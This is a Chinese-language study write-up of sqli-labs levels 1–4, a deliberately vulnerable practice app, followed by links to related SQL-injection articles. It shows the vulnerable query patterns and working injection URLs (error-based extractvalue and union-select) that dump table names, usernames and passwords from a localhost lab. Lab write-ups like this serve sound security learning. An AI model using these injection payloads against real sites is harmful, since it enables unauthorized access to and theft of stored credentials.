sqli-labs学习(less-1-less-4)
学习sqli-labs之前先介绍一些函数,以便于下面的payload看的懂
group_concat函数
将查询出来的多个结果连接成一个字符串结果,用于在一个回显显示多个结果
同理的还有
concat_ws()
limit star,size用法
start:从第几条记录开始。
size:读取几条记录。
sqli-lab-1
关键代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
是被单引号包围,即字符型注入,写payload要末尾注释单引号
用concat_ws()可以加分隔符,便于判断
接下来查询当前数据库的表~ //这里有个疑问,上面用的database()只能查询当前的数据库,如果Flag是在别的数据库呢,以后想想~
注意数据库的昵称要用单引号包围,不然会报错,当然也可以把数据库的昵称转换为16进制也是可以的
用limit查找所有的表名
显然太麻烦了,因为只返回一个结果 利用之前的group_concat()将结果放在一起返回
接下来爆字段
用concat_wa()发现没用,于是用group_concat()
接下来就是爆字段内容了
paload格式为: select 字段名 from 表名
如果过滤了union呢,或者是过滤了“-”符号呢 之前参加了南邮CTF的一道sql,过滤了* 还有- 即不能union 注入
接下来利用手工报错注入
介绍两个函数
extractvalue()
updatexml()
用法参考:
https://blog.csdn.net/qq_30464257/article/details/84501843
http://127.0.0.1/SQL/Less-1/?id=1' and 1=extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) %23
爆值
http://127.0.0.1/SQL/Less-1/?id=1' and 1=extractvalue(1,concat(1,(select group_concat(password,'||',username) from users))) %23
看sqli-labs
关键代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
id没有被单引号包围,说明是数字型的注入,即不用和闭合单引号
less-3
关键代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
less-4
关键代码
$id = '"' . $id . '"';
//echo $id."\n";
//echo "<br>";
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
id是被一对双引号包围的
发现加‘不报错
这是为什么呢? 因为php中的双引号可以包含单引号 ,加入双引号就会报错
http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(char(32),username,char(23)),group_concat(char(32),password,char(32)) from users--+
sqli-labs学习(less-1-less-4)的更多相关文章
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli labs系列-less-5&6 报错注入法(上)
在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
随机推荐
- eclipse安装lua
单击Eclipse->Help->Install New Software… 在Work with中输入网址 Kepler - http://download.eclipse.org/re ...
- AIX常用命令学习(一)
1.prtconf命令 查看AIX主机的结构特征状态 语法: prtconf [ -c ] [ -k ] [ -L ] [ -m ] [ -s ] [ -v ] Flags: -c Displays ...
- 使用 Azure 门户创建 Linux 虚拟机
可以通过 Azure 门户创建 Azure 虚拟机. 此方法提供一个基于浏览器的用户界面,用于创建和配置虚拟机和所有相关的资源. 本快速入门介绍了如何创建虚拟机并在 VM 上安装 webserver. ...
- C# 调用WebService服务
方 法 一 : 选择项目,右键添加服务引用,输入服务地址,如图: 点击确定跳转到如下界面: 调用 接口: ServiceReference1.ImportDataServiceClient sr = ...
- [UI] 精美UI界面欣赏[6]
精美UI界面欣赏[6]
- [翻译] SCRecorder
SCRecorder https://github.com/rFlex/SCRecorder An easy Vine/Instagram like video and/or audio record ...
- Linux 系统的磁盘设备_【all】
磁盘 ->RAID ->分区 ->格式化 ->挂载 基本的框架 a.硬盘的外部以及内部硬件结构,工作原理和读写原理b.RAID的划分(一块盘划分为一块或者多块的小虚拟磁盘,可以 ...
- C++ Boost在Windows和Linux下的编译安装
再debian下直接apt-get install gcc g++就可以了.按照类似的逻辑,再Fedora下yum install gcc g++ 报告无法找到g++包. 差了一下,原来这个包的名字叫 ...
- python3 装饰器全解
本章结构: 1.理解装饰器的前提准备 2.装饰器:无参/带参的被装饰函数,无参/带参的装饰函数 3.装饰器的缺点 4.python3的内置装饰器 5.本文参考 理解装饰器的前提:1.所有东西都是对象( ...
- 3、Django下载与简介
第1节:MVC与MTV模型 1.1 MVC Web服务器开发领域里著名的MVC模式,所谓MVC就是把Web应用分为模型(M),控制器(C)和视图(V)三层,他们之间以一种插件式的.松耦合的方式连接在一 ...